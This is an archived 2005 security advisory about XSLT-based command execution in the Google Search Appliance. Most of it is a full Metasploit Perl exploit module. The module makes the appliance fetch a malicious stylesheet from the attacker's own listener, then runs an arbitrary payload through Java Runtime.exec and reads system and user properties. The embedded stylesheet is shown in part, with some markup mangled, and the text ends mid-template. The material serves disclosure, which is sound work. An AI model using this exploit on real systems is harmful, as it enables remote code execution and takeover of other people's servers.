Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] Multiple Vulnerabilities Google Search Appliance Proxystylesheet

Subject: [EXPL] Multiple Vulnerabilities Google Search Appliance Proxystylesheet (Multiple XSS, Multiple Information disclosure, Java Code Execution, Exploit)
Date: 21 Nov 2005 16:10:01 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Multiple Vulnerabilities Google Search Appliance Proxystylesheet  
(Multiple XSS, Multiple Information disclosure, Java Code Execution, 
Exploit)
------------------------------------------------------------------------


SUMMARY

"The  <http://www.google.com/enterprise/> Google Mini offers 
cost-effective, high-quality search for your public website or intranet "

By supplying a malicious XSLT, attackers may execute arbitrary programs, 
retrieve system information or cause XSS vulnerabilities in Google's mini 
appliance.

DETAILS

Vulnerable Systems:
 * Google Mini Search Appliance

Exploit:
#
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
#

package Msf::Exploit::google_proxystylesheet_exec;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket;
use IO::Select;
my $advanced = { };

my $info =
{
 'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',
 'Version'        => '$Revision: 1.2 $',
 'Authors'        => [ 'H D Moore <hdm [at] metasploit.com>' ],
 
 'Description'    =>
  Pex::Text::Freeform(qq{
   This module exploits a feature in the Saxon XSLT parser used by
  the Google Search Appliance. This feature allows for arbitrary
  java methods to be called. Google released a patch and advisory to
  their client base in August of 2005 (GA-2005-08-m). The target appliance
  must be able to connect back to your machine for this exploit to work.
  }),
  
 'Arch'           => [ ],
 'OS'             => [ ],
 'Priv'           => 0,
 'UserOpts'       =>
  {
   'RHOST'    => [ 1, 'HOST', 'The address of the Google appliance'],
   'RPORT'    => [ 1, 'PORT', 'The port used by the search interface', 
80],
   'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],
   'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
   'HTTPADDR' => [ 0, 'HOST', 'The address that can be used to connect 
back to this system'],
  },
 'Payload'        =>
  {
   'Space'    => 1024,
   'Keys'     => [ 'cmd' ],
  },
 'Refs'           =>
  [
   ['OSVDB', 20981],
  ],
 'DefaultTarget'  => 0,
 'Targets'        =>
  [
   [ 'Google Search Appliance']
  ],
 'Keys'           => [ 'google' ],

 'DisclosureDate' => 'Aug 16 2005',
};

sub new
{
 my $class = shift;
 my $self;
 
 $self = $class->SUPER::new(
   {
    'Info'     => $info,
    'Advanced' => $advanced,
   },
   @_);

 return $self;
}

sub Check {
 my $self = shift;
 my $s = $self->ConnectSearch;
 
 if (! $s) {
  return $self->CheckCode('Connect');
 }
 
 my $url =
  "/search?client=". Pex::Text::AlphaNumText(int(rand(15))+1). "&".
  "site=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
  "output=xml_no_dtd&".
  "q=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
  "proxystylesheet=http://".Pex::Text::AlphaNumText(int(rand(32))+1)."/";
 
 $s->Send("GET $url HTTP/1.0\r\n\r\n");
 my $page = $s->Recv(-1, 5);
 $s->Close;

 if ($page =~ /cannot be resolved to an ip address/) {
  $self->PrintLine("[*] This system appears to be vulnerable >:-)");
  return $self->CheckCode('Confirmed');
 }
 
 if ($page =~ /ERROR: Unable to fetch the stylesheet/) {
  $self->PrintLine("[*] This system appears to be patched");
 }
 
 $self->PrintLine("[*] This system does not appear to be vulnerable");
 return $self->CheckCode('Safe');
}

sub Exploit
{
 my $self = shift;
 my ($s, $page);
 
 # Request the index page to obtain a redirect response
 $s = $self->ConnectSearch || return;
 $s->Send("GET / HTTP/1.0\r\n\r\n");
 $page = $s->Recv(-1, 5);
 $s->Close;

 # Parse the redirect to get the client and site values
 my ($goog_site, $goog_clnt) = $page =~ 
m/^location.*site=([^\&]+)\&.*client=([^\&]+)\&/im;
 if (! $goog_site || ! $goog_clnt) {
  $self->PrintLine("[*] Invalid response to our request, is this a Google 
appliance?");
  return;
 }

 # Create the listening local socket that will act as our HTTP server
 my $lis = IO::Socket::INET->new(
   LocalHost => $self->GetVar('HTTPHOST'),
   LocalPort => $self->GetVar('HTTPPORT'),
   ReuseAddr => 1,
   Listen    => 1,
   Proto     => 'tcp');
 
 if (not defined($lis)) {
  $self->PrintLine("[-] Failed to create local HTTP listener on " . 
$self->GetVar('HTTPPORT'));
  return;
 }
 my $sel = IO::Select->new($lis);
 
 # Send a search request with our own address in the proxystylesheet 
parameter
 my $query = Pex::Text::AlphaNumText(int(rand(32))+1);
 
 my $proxy =
  "http://";.
  ($self->GetVar('HTTPADDR') || 
Pex::Utils::SourceIP($self->GetVar('RHOST'))).
  
":".$self->GetVar('HTTPPORT')."/".Pex::Text::AlphaNumText(int(rand(15))+1).".xsl";
 
 my $url =
  "/search?client=". $goog_clnt ."&site=". $goog_site .
  "&output=xml_no_dtd&proxystylesheet=". $proxy .
  "&q=". $query ."&proxyreload=1";

 $self->PrintLine("[*] Sending our malicious search request...");
 $s = $self->ConnectSearch || return;
 $s->Send("GET $url HTTP/1.0\r\n\r\n");
 $page = $s->Recv(-1, 3);
 $s->Close;

 $self->PrintLine("[*] Listening for connections to http://"; . 
$self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");
 
 # Did we receive a connection?
 my @r = $sel->can_read(30);
 
 if (! @r) {
  $self->PrintLine("[*] No connection received from the search engine, 
possibly patched.");
  $lis->close;
  return;
 }

 my $c = $lis->accept();
 if (! $c) {
  $self->PrintLine("[*] No connection received from the search engine, 
possibly patched.");
  $lis->close;
  return;
 }

 my $cli = Msf::Socket::Tcp->new_from_socket($c);
 $self->PrintLine("[*] Connection received from ".$cli->PeerAddr."...");
 $self->ProcessHTTP($cli);
 return;
}

sub ConnectSearch {
 my $self = shift;
 my $s = Msf::Socket::Tcp->new(
  'PeerAddr' => $self->GetVar('RHOST'),
  'PeerPort' => $self->GetVar('RPORT'),
  'SSL'      => $self->GetVar('SSL')
 );
 
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }
 return $s;
}

sub ProcessHTTP
{
 my $self = shift;
 my $cli  = shift;
 my $targetIdx = $self->GetVar('TARGET');
 my $target    = $self->Targets->[$targetIdx];
 my $ret       = $target->[1];
 my $shellcode = $self->GetVar('EncodedPayload')->Payload;
 my $content;
 my $rhost;
 my $rport;

 # Read the first line of the HTTP request
 my ($cmd, $url, $proto) = split(/ /, $cli->RecvLine(10));

 # The way we call Runtime.getRuntime().exec, Java will split
 # our string on whitespace. Since we are injecting via XSLT,
 # inserting quotes becomes a huge pain, so we do this...
 my $exec_str =
  '/usr/bin/perl -e system(pack(qq{H*},qq{' .
  unpack("H*", $self->GetVar('EncodedPayload')->RawPayload).
  '}))';

 # Load the template from our data section, we have to manually
 # seek and reposition to allow the exploit to be used more
 # than once without a reload.
 seek(DATA, 0, 0);
 while(<DATA>) { last if /^__DATA__$/ }
 while(<DATA>) { $content .= $_ }

 # Insert our command line
 $content =~ s/:x:MSF:x:/$exec_str/;
 
 # Send it to the requesting appliance
 $rport = $cli->PeerPort;
 $rhost = $cli->PeerAddr;
 $self->PrintLine("[*] HTTP Client connected from $rhost, sending 
XSLT...");
 
 my $res = "HTTP/1.1 200 OK\r\n" .
      "Content-Type: text/html\r\n" .
      "Content-Length: " . length($content) . "\r\n" .
      "Connection: close\r\n" .
      "\r\n" .
      $content;

 $self->PrintLine("[*] Sending ".length($res)." bytes...");
 $cli->Send($res);
 $cli->Close;
}

1;

# The default Google Mini style sheet is included below, with a few 
modifications to
# the my_page_footer template.
__DATA__
< !-- ** START OF STYLESHEET ** -- >

< !-- ***********************************
 XSL to format the search output for Google Search Appliance
   *********************************** -- >
< xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"; 
version="1.0" >
< xsl:output method="html"/ >

< !-- ***********************************
 Logo setup (can be customized)
   - whether to show logo: 0 for FALSE, 1 (or non-zero) for TRUE
   - logo url
   - logo size: '' for default image size
   *********************************** -- >
< xsl:variable name="show_logo" >1</xsl:variable >
< xsl:variable name="logo_url" >images/Title_Left.gif</xsl:variable >
< xsl:variable name="logo_width" >200</xsl:variable >
< xsl:variable name="logo_height" >78</xsl:variable >

< !-- ***********************************
 Global Style variables (can be customized): '' for using browser's 
default
   *********************************** -- >

< xsl:variable name="global_font" >arial,sans-serif</xsl:variable >
< xsl:variable name="global_font_size" ></xsl:variable >
< xsl:variable name="global_bg_color" >#ffffff</xsl:variable >
< xsl:variable name="global_text_color" >#000000</xsl:variable >
< xsl:variable name="global_link_color" >#0000cc</xsl:variable >
< xsl:variable name="global_vlink_color" >#551a8b</xsl:variable >
< xsl:variable name="global_alink_color" >#ff0000</xsl:variable >

< !-- ***********************************
 Result page components (can be customized)
   - whether to show a component: 0 for FALSE, non-zero (e.g., 1) for TRUE
   - text and style
   *********************************** -- >

< !-- ** choose result page header: '', 'provided', 'mine', or 'both' ** 
-- >
< xsl:variable name="choose_result_page_header" >both</xsl:variable >

< !-- ** customize provided result page header ** -- >
< xsl:variable name="show_result_page_adv_link" >1</xsl:variable >
< xsl:variable name="adv_search_anchor_text" >Advanced 
Search</xsl:variable >
< xsl:variable name="show_result_page_help_link" >1</xsl:variable >
< xsl:variable name="search_help_anchor_text" >Search Tips</xsl:variable >

< !-- ** search boxes ** -- >
< xsl:variable name="show_top_search_box" >1</xsl:variable >
< xsl:variable name="show_bottom_search_box" >1</xsl:variable >
< xsl:variable name="search_box_size" >32</xsl:variable >

< !-- ** choose search button type: 'text' or 'image' ** -- >
< xsl:variable name="choose_search_button" >text</xsl:variable >
< xsl:variable name="search_button_text" >Google Search</xsl:variable >
< xsl:variable name="search_button_image_url" ></xsl:variable >
< xsl:variable name="search_subcollections_xslt" ></xsl:variable >

< !-- ** search info bars ** -- >
< xsl:variable name="show_search_info" >1</xsl:variable >

< !-- ** choose separation bar: 'blue', 'line', 'nothing' ** -- >
< xsl:variable name="choose_sep_bar" >blue</xsl:variable >

< !-- ** navigation bars: '', 'google', 'link', or 'simple'** -- >
< xsl:variable name="show_top_navigation" >0</xsl:variable >
< xsl:variable name="choose_bottom_navigation" >google</xsl:variable >
< xsl:variable name="my_nav_align" >right</xsl:variable >
< xsl:variable name="my_nav_size" >-1</xsl:variable >
< xsl:variable name="my_nav_color" >#6f6f6f</xsl:variable >

< !-- ** sort by date/relevance ** -- >
< xsl:variable name="show_sort_by" >0</xsl:variable >

< !-- ** spelling suggestions ** -- >
< xsl:variable name="show_spelling" >1</xsl:variable >
< xsl:variable name="spelling_text" >Did you mean:</xsl:variable >
< xsl:variable name="spelling_text_color" >#cc0000</xsl:variable >

< !-- ** synonyms suggestions ** -- >
< xsl:variable name="show_synonyms" >1</xsl:variable >
< xsl:variable name="synonyms_text" >You could also try:</xsl:variable >
< xsl:variable name="synonyms_text_color" >#cc0000</xsl:variable >

< !-- ** keymatch suggestions ** -- >
< xsl:variable name="show_keymatch" >1</xsl:variable >
< xsl:variable name="keymatch_text" >KeyMatch</xsl:variable >
< xsl:variable name="keymatch_text_color" >#2255aa</xsl:variable >
< xsl:variable name="keymatch_bg_color" >#e8e8ff</xsl:variable >

< !-- ***********************************
 Result elements (can be customized)
   - whether to show an element ('1' for yes, '0' for no)
   - font/size/color ('' for using style of the context)
   *********************************** -- >

< !-- ** result title and snippet ** -- >
< xsl:variable name="show_res_title" >1</xsl:variable >
< xsl:variable name="res_title_color" >#0000cc</xsl:variable >
< xsl:variable name="res_title_size" ></xsl:variable >
< xsl:variable name="show_res_snippet" >1</xsl:variable >
< xsl:variable name="res_snippet_size" >80%</xsl:variable >

< !-- ** keyword match (in title or snippet) ** -- >
< xsl:variable name="res_keyword_color" ></xsl:variable >
< xsl:variable name="res_keyword_size" ></xsl:variable >
< xsl:variable name="res_keyword_format" >b</xsl:variable > <!-- 'b' for 
bold -- >

< !-- ** link URL ** -- >
< xsl:variable name="show_res_url" >1</xsl:variable >
< xsl:variable name="res_url_color" >#008000</xsl:variable >
< xsl:variable name="res_url_size" >-1</xsl:variable >

< !-- ** misc elements ** -- >
< xsl:variable name="show_res_description" >1</xsl:variable >
< xsl:variable name="show_res_size" >1</xsl:variable >
< xsl:variable name="show_res_date" >1</xsl:variable >
< xsl:variable name="show_res_cache" >1</xsl:variable >

< !-- ** used in result cache link, similar pages link, and description ** 
-- >
< xsl:variable name="faint_color" >#6f6f6f</xsl:variable >

< !-- ** show secure results radio button ** -- >
< xsl:variable name="show_secure_radio" >0</xsl:variable >

< !-- ***********************************
 Other variables (can be customized)
   *********************************** -- >

< !-- ** page title ** -- >
< xsl:variable name="front_page_title" >Search Home</xsl:variable >
< xsl:variable name="result_page_title" >Search Results</xsl:variable >
< xsl:variable name="adv_page_title" >Advanced Search</xsl:variable >
< xsl:variable name="error_page_title" >Error</xsl:variable >

< !-- ** choose adv_search page header: '', 'provided', 'mine', or 'both' 
** -- >
< xsl:variable name="choose_adv_search_page_header" >both</xsl:variable >

< !-- ** cached page header text ** -- >
< xsl:variable name="cached_page_header_text" >This is the cached copy of 
</xsl:variable >

< !-- ** error message text ** -- >
< xsl:variable name="xml_error_msg_text" >Unknown XML result 
type.</xsl:variable >
< xsl:variable name="xml_error_des_text" >View page source to see the 
offending XML.</xsl:variable >

< !-- ** advanced search page panel background color ** -- >
< xsl:variable name="adv_search_panel_bgcolor" >#cbdced</xsl:variable >


< !-- ***********************************
 My global page header/footer (can be customized)
   *********************************** -- >
< xsl:template name="my_page_header" >
 <!-- ** replace the following with your own xhtml code or replace the 
text
  between the xsl:text tags with html escaped html code ** -- >
 <xsl:text disable-output-escaping="yes" > <!-- Please enter html code 
below. -- ></xsl:text >
< /xsl:template >

< xsl:template
 name="my_page_footer"
 xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System";
 xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime";


< !-- Google XSLT Code Execution [metasploit] -- >

XSLT Version: <xsl:value-of select="system-property('xsl:version')"/ > <br 
/ >
XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" / > <br 
/ >
XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" / > <br 
/ >
OS: <xsl:value-of select="sys:getProperty('os.name')" / > <br / >
Version: <xsl:value-of select="sys:getProperty('os.version')" / > <br / >
Arch: <xsl:value-of select="sys:getProperty('os.arch')" / > <br / >
UserName: <xsl:value-of select="sys:getProperty('user.name')" / > <br / >
UserHome: <xsl:value-of select="sys:getProperty('user.home')" / > <br / >
UserDir: <xsl:value-of select="sys:getProperty('user.dir')" / > <br / >

Executing command...<br / >
< xsl:value-of select="run:exec(run:getRuntime(), ':x:MSF:x:')" / >

  <xsl:text disable-output-escaping="yes" > <!-- Please enter html code 
below. -- ></xsl:text >
 </span >
< /xsl:template >

< !-- ***********************************
 Logo template (can be customized)
   *********************************** -- >
< xsl:template name="logo" >
  <a href="{$home_url}" ><img src="{$logo_url}"
   width="{$logo_width}" height="{$logo_height}"
   alt="Go to Search Home" border="0" / ></a >
< /xsl:template >

< !-- ***********************************
 Search result page header (can be customized): logo and search box
   *********************************** -- >
< xsl:template name="result_page_header" >
  <table border="0" cellpadding="0" cellspacing="0" >
   <tr >
 <xsl:if test="$show_logo != '0'" >
  <td rowspan="3" valign="top" >
      <xsl:call-template name="logo"/ >
      <xsl:call-template name="nbsp3"/ >
     </td >
 </xsl:if >
    <td nowrap="1" >
     <font size="-1" >
   <xsl:if test="$show_result_page_adv_link != '0'" >
       <a href="{$adv_search_url}" >
        <xsl:value-of select="$adv_search_anchor_text"/ >
       </a >
       <xsl:call-template name="nbsp4"/ >
   </xsl:if >
   <xsl:if test="$show_result_page_help_link != '0'" >
       <a href="{$help_url}" >
        <xsl:value-of select="$search_help_anchor_text"/ >
       </a >
   </xsl:if >
      <br/ >
     </font >
    </td >
   </tr >
   <xsl:if test="$show_top_search_box != '0'" >
    <tr >
     <td valign="middle" >
      <xsl:call-template name="search_box"/ >
     </td >
    </tr >
   </xsl:if >
   <xsl:if test="/GSP/CT" >
 <tr >
     <td valign="top" >
      <br/ >
      <xsl:call-template name="stopwords"/ >
      <br/ >
     </td >
    </tr >
   </xsl:if >
  </table >
< /xsl:template >

< !-- ***********************************
 Separation bar variables (used in advanced search header and result page)
   *********************************** -- >
< xsl:variable name="sep_bar_bg_color" >
 <xsl:choose >
  <xsl:when test="$choose_sep_bar = 'blue'" >#3366cc</xsl:when >
  <xsl:otherwise ><xsl:value-of select="$global_bg_color"/ 
</xsl:otherwise >
 </xsl:choose >
< /xsl:variable >

< xsl:variable name="sep_bar_text_color" >
 <xsl:choose >
  <xsl:when test="$choose_sep_bar = 'blue'" >#ffffff</xsl:when >
  <xsl:otherwise ><xsl:value-of select="$global_text_color"/ 
</xsl:otherwise >
 </xsl:choose >
< /xsl:variable >

< !-- ***********************************
 Advanced search page header HTML (can be customized)
   *********************************** -- >
< xsl:template name="advanced_search_header" >
   <table width="99%" border="0" cellpadding="0" cellspacing="2" >
    <tr >
   <xsl:if test="$show_logo != '0'" >
     <td rowspan="2" width="1%" >
      <table cellpadding="0" cellspacing="0" border="0" >
       <tr >
        <td align="right" valign="bottom" >
  <xsl:call-template name="logo"/ ></td >
       </tr >
      </table >
     </td >
   </xsl:if >

     <td valign="bottom" align="right" ><font size="-1" class="p" ></font 
</td >
    </tr >

    <tr >
     <td valign="middle" >
      <table cellspacing="2" cellpadding="2" border="0" width="100%" >
       <tr bgcolor="{$sep_bar_bg_color}" >
        <td ><font face="{$global_font}" color="{$sep_bar_text_color}" >
           <b ><xsl:call-template name="nbsp"/ >
             <xsl:value-of select="$adv_page_title"/ ></b >
          </font >
        </td >
       </tr >
      </table >
     </td >
    </tr >
   </table >
< /xsl:template >

< !-- ***********************************
 Cached page header (can be customized)
   *********************************** -- >
< xsl:template name="cached_page_header" >
 <xsl:param name="cached_page_url"/ >

< table border="1" width="100%" >
 <tr >
  <td >
   <table border="1" width="100%" cellpadding="10" cellspacing="0"
    bgcolor="{$global_bg_color}" color="{$global_bg_color}" >
    <tr >
     <td >
      <font face="{$global_font}" color="{$global_text_color}" size="-1" >
       <xsl:value-of select="$cached_page_header_text"/ >
      <a href="{$cached_page_url}" ><font color="{$global_link_color}" >
       <xsl:value-of select="$cached_page_url"/ ></font ></a >.<br/ >
      </font >
     </td >
    </tr >
   </table >
  </td >
 </tr >
< /table >
< hr/ >
< /xsl:template >

< !-- ***********************************
 "Front door" search input page (can be customized)
   *********************************** -- >
< xsl:template name="front_door" >
< html >
 <xsl:call-template name="langHeadStart"/ >
  <title ><xsl:value-of select="$front_page_title"/ ></title >
 <xsl:call-template name="style"/ >
 <xsl:call-template name="langHeadEnd"/ >

 <body >
 
 <xsl:call-template name="my_page_header"/ >
 <xsl:call-template name="result_page_header"/ >
 <hr/ >
 <xsl:call-template name="copyright"/ >
 <xsl:call-template name="my_page_footer"/ >

 </body >
< /html >
< /xsl:template >

< !-- ***********************************
 Empty result set (can be customized)
   *********************************** -- >
< xsl:template name="no_RES" >
 <xsl:param name="query"/ >
 <span class="p" >
 <br/ >
 Your search - <b ><xsl:value-of disable-output-escaping="yes"
 select="$query"/ ></b > - did not match any documents.
 <br/ >
 No pages were found containing <b >"<xsl:value-of
 disable-output-escaping="yes" select="$query"/ >"</b >.
 <br/ >
 <br/ >
 Suggestions:
 <ul >
  <li >Make sure all words are spelled correctly.</li >
  <li >Try different keywords.</li >
  <li >Try more general keywords.</li >
 </ul >
 </span >
< /xsl:template >

< !-- ###################################
 We do not recommend changes to the following code.  Google Technical
 Support Personnel currently do not support customization of XSLT under
 these Technical Support Services Guidelines.  Such services may be
 provided on a consulting basis, at Google's then-current consulting
 services rates under a separate agreement, if Google personnel are
 available.  Please ask your Google Account Manager for more details if
 you are interested in purchasing consulting services.
   ################################### -- >

< !-- ***********************************
 Global Style (do not customize)
 default font type/size/color, background color, link color
 using HTML CSS (Cascading Style Sheets)
   *********************************** -- >
< xsl:template name="style" >
< style >
< xsl:comment >
body,.d,.p,.s{background-color:<xsl:value-of select="$global_bg_color"/ >}
body,td,div,.p,a,.d,.s{font-family:<xsl:value-of select="$global_font"/ >}
body,td,div,.p,a,.d{font-size: <xsl:value-of select="$global_font_size"/ 
}
body,div,td,.p,.s{color:<xsl:value-of select="$global_text_color"/ >}
s,.f,.f a{font-size: <xsl:value-of select="$res_snippet_size"/ >}
l{font-size: <xsl:value-of select="$res_title_size"/ >}
l{color: <xsl:value-of select="$res_title_color"/ >}
a:link,.w,.w a:link{color:<xsl:value-of select="$global_link_color"/ >}
a:visited,.f a:visited{color:<xsl:value-of select="$global_vlink_color"/ 
}
a:active,.f a:active{color:<xsl:value-of select="$global_alink_color"/ >}
t{color:<xsl:value-of select="$sep_bar_text_color"/ >}
t{background-color:<xsl:value-of select="$sep_bar_bg_color"/ >}
z{display:none}
f,.f:link,.f a:link{color:<xsl:value-of select="$faint_color"/ >}
i,.i:link{color:#a90a08}
a,.a:link{color:<xsl:value-of select="$res_url_color"/ >}
div.n {margin-top: 1ex}
n a{font-size: 10pt; color:<xsl:value-of select="$global_text_color"/ >}
n .i{font-size: 10pt; font-weight:bold}
q a:visited,.q a:link,.q a:active,.q {text-decoration: none; 
color:#0000cc;}
b,.b a{font-size: 12pt; color:#0000cc; font-weight:bold}
d{font-family:<xsl:value-of select="$global_font"/ >;
  margin-right:1em; margin-left:1em;}
< /xsl:comment >
< /style >
< /xsl:template >


< !-- ***********************************
 URL variables (do not customize)
   *********************************** -- >

< !-- ** help_url: search tip URL (html file) ** -- >
< xsl:variable name="help_url" >/basics.html</xsl:variable >

< !-- ** base_url: collection info ** -- >
< xsl:variable name="base_url" ><xsl:for-each
 select="/GSP/PARAM[@name = 'client' or
           @name = 'site' or
           @name = 'num' or
           @name = 'output' or
           @name = 'proxystylesheet' or
           @name = 'sitesearch' or
           @name = 'access' or
        (@name = 'restrict' and
     $search_subcollections_xslt = '') or
           @name = 'lr' or
           @name = 'ie' or
           @name = 'oe']" ><xsl:value-of select="@name"
 / >=<xsl:value-of select="@original_value"
 / ><xsl:if test="position() != last()" >&</xsl:if ></xsl:for-each >
< /xsl:variable >

< !-- ** home_url: /search? + collection info + &proxycustom=<HOME/ > ** 
-- >
< xsl:variable name="home_url" >/search?<xsl:value-of select="$base_url"
 / >&proxycustom=<HOME/></xsl:variable >

< !-- ** nav_url: does not include q, as_, start elements ** -- >
< xsl:variable name="nav_url" ><xsl:for-each
 select="/GSP/PARAM[(@name != 'q') and
     not(contains(@name, 'as_')) and
           (@name != 'start')]" >
  <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
  <xsl:value-of select="@original_value"/ >
  <xsl:if test="position() != last()" >
   <xsl:text disable-output-escaping="yes" >&</xsl:text >
  </xsl:if >
 </xsl:for-each >
< /xsl:variable >

< !-- ** synonym_url: does not include q, as_q, and start elements ** -- >
< xsl:variable name="synonym_url" ><xsl:for-each
 select="/GSP/PARAM[(@name != 'q') and
     (@name != 'as_q') and
           (@name != 'start')]" >
  <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
  <xsl:value-of select="@original_value"/ >
  <xsl:if test="position() != last()" >
   <xsl:text disable-output-escaping="yes" >&</xsl:text >
  </xsl:if >
 </xsl:for-each >
< /xsl:variable >

< !-- ** search_url: $nav_url + query elements ** -- >
< xsl:variable name="search_url" ><xsl:for-each
 select="/GSP/PARAM[(@name != 'start')]" >
  <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
  <xsl:value-of select="@original_value"/ >
  <xsl:if test="position() != last()" >
   <xsl:text disable-output-escaping="yes" >&</xsl:text >
  </xsl:if >
 </xsl:for-each >
< /xsl:variable >

< !-- ** filter_url: everything except resetting "filter=" ** -- >
< xsl:variable name="filter_url" >/search?<xsl:for-each
 select="/GSP/PARAM[(@name != 'filter')]" >
  <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
  <xsl:value-of select="@original_value"/ >
  <xsl:text disable-output-escaping="yes" >&</xsl:text >
 </xsl:for-each ><xsl:text >filter=</xsl:text >
< /xsl:variable >

< !-- ** adv_search_url: /search? + $search_url + as_q=$q ** -- >
< xsl:variable name="adv_search_url" >/search?<xsl:value-of
 select="$search_url"/ >&proxycustom=<ADVANCED/></xsl:variable >

< !-- ***********************************
 Search Parameters (do not customize)
   *********************************** -- >

< !-- ** num_results: actual num_results per page ** -- >
< xsl:variable name="num_results" >
 <xsl:choose >
  <xsl:when test="/GSP/PARAM[(@name='num') and (@value!='')]" >
   <xsl:value-of select="/GSP/PARAM[@name='num']/@value"/ >
  </xsl:when >
  <xsl:otherwise >
   <xsl:value-of select="10"/ >
  </xsl:otherwise >
 </xsl:choose >
< /xsl:variable >

< !-- ** form_params: parameters carried by the search input form ** -- >
< xsl:template name="form_params" >
 <xsl:for-each
  select="PARAM[@name != 'q' and
         not(contains(@name, 'as_')) and
         @name != 'btnG' and
         @name != 'btnI' and
         @name != 'filter' and
         @name != 'start' and
   @name != 'access' and
         @name != 'ip']" >
  <xsl:if test="@name != 'restrict' or $search_subcollections_xslt = ''" >
   <input type="hidden" name="{@name}" value="{@value}" / >
  </xsl:if >
  <xsl:text >
  </xsl:text >
 </xsl:for-each >
< /xsl:template >

< !-- ** html_escaped_query: q = /GSP/Q ** -- >
< xsl:variable name="qval" >
 <xsl:value-of select="/GSP/Q"/ >
< /xsl:variable >

< xsl:variable name="html_escaped_query" >
 <xsl:value-of select="normalize-space($qval)"
  disable-output-escaping="yes"/ >
< /xsl:variable >

< !-- ** stripped_search_query: q, as_q, ... for cache highlight ** -- >
< xsl:variable name="stripped_search_query" ><xsl:for-each
 select="/GSP/PARAM[(@name = 'q') or
           (@name = 'as_q') or
           (@name = 'as_oq') or
           (@name = 'as_epq')]" ><xsl:value-of select="@original_value"
 / ><xsl:if test="position() != last()"
   ><xsl:text disable-output-escaping="yes" >+</xsl:text
   ></xsl:if ></xsl:for-each >
< /xsl:variable >

< xsl:variable name="access" >
 <xsl:choose >
  <xsl:when test="/GSP/PARAM[(@name='access') and ((@value='s') or 
(@value='a'))]" >
   <xsl:value-of select="/GSP/PARAM[@name='access']/@original_value"/ >
  </xsl:when >
  <xsl:otherwise >p</xsl:otherwise >
 </xsl:choose >
< /xsl:variable >

< !-- ***********************************
 Figure out what kind of page this is (do not customize)
   *********************************** -- >
< xsl:template match="GSP" >
 <xsl:choose >
  <xsl:when test="Q" >
   <xsl:call-template name="search_results"/ >
  </xsl:when >
  <xsl:when test="CACHE" >
   <xsl:call-template name="cached_page"/ >
  </xsl:when >
  <xsl:when test="CUSTOM/HOME" >
   <xsl:call-template name="front_door"/ >
  </xsl:when >
  <xsl:when test="CUSTOM/ADVANCED" >
   <xsl:call-template name="advanced_search"/ >
  </xsl:when >
  <xsl:when test="H1" >
   <xsl:call-template name="server_error"/ >
  </xsl:when >
  <xsl:otherwise >
   <xsl:call-template name="error_page" >
    <xsl:with-param name="errorMessage" select="$xml_error_msg_text"/ >
    <xsl:with-param name="errorDescription" select="$xml_error_des_text"/ 

   </xsl:call-template >
  </xsl:otherwise >
 </xsl:choose >
< /xsl:template >

< !-- ***********************************
 Cached page (do not customize)
   *********************************** -- >
< xsl:template name="cached_page" >
< xsl:variable name="cached_page_url" select="CACHE/CACHE_URL"/ >
< xsl:variable name="cached_page_html" select="CACHE/CACHE_HTML"/ >

< !-- ** decide whether to load html page or pdf file ** -- >
< xsl:if test="'.pdf' != substring($cached_page_url,
 1 + string-length($cached_page_url) - string-length('.pdf'))" >
  <base href="{$cached_page_url}"/ >
< /xsl:if >

< !-- ** display cache page header ** -- >
< xsl:call-template name="cached_page_header" >
 <xsl:with-param name="cached_page_url" select="$cached_page_url"/ >
< /xsl:call-template >

< !-- ** display cached contents ** -- >
< xsl:value-of select="$cached_page_html" disable-output-escaping="yes"/ >
< /xsl:template >

< xsl:template name="escape_quot" >
 <xsl:param name="string"/ >
 <xsl:call-template name="replace_string" >
  <xsl:with-param name="find" select="'"'"/ >
  <xsl:with-param name="replace" select="'"'"/ >
  <xsl:with-param name="string" select="$string"/ >
 </xsl:call-template >
< /xsl:template >

< !-- ***********************************
 Advanced search page (do not customize)
   *********************************** -- >
< xsl:template name="advanced_search" >

< xsl:variable name="html_escaped_as_q" >
  <xsl:call-template name="escape_quot" >
   <xsl:with-param name="string" select="/GSP/PARAM[@name='q']/@value"/ >
  </xsl:call-template >
  <xsl:call-template name="escape_quot" >
   <xsl:with-param name="string" select="/GSP/PARAM[@name='as_q']/@value"/ 

  </xsl:call-template >
< /xsl:variable >

< xsl:variable name="html_escaped_as_epq" >
  <xsl:call-template name="escape_quot" >
   <xsl:with-param name="string" 
select="/GSP/PARAM[@name='as_epq']/@value"/ >
  </xsl:call-template >
< /xsl:variable >

< xsl:variable name="html_escaped_as_oq" >
  <xsl:call-template name="escape_quot" >
   <xsl:with-param name="string" 
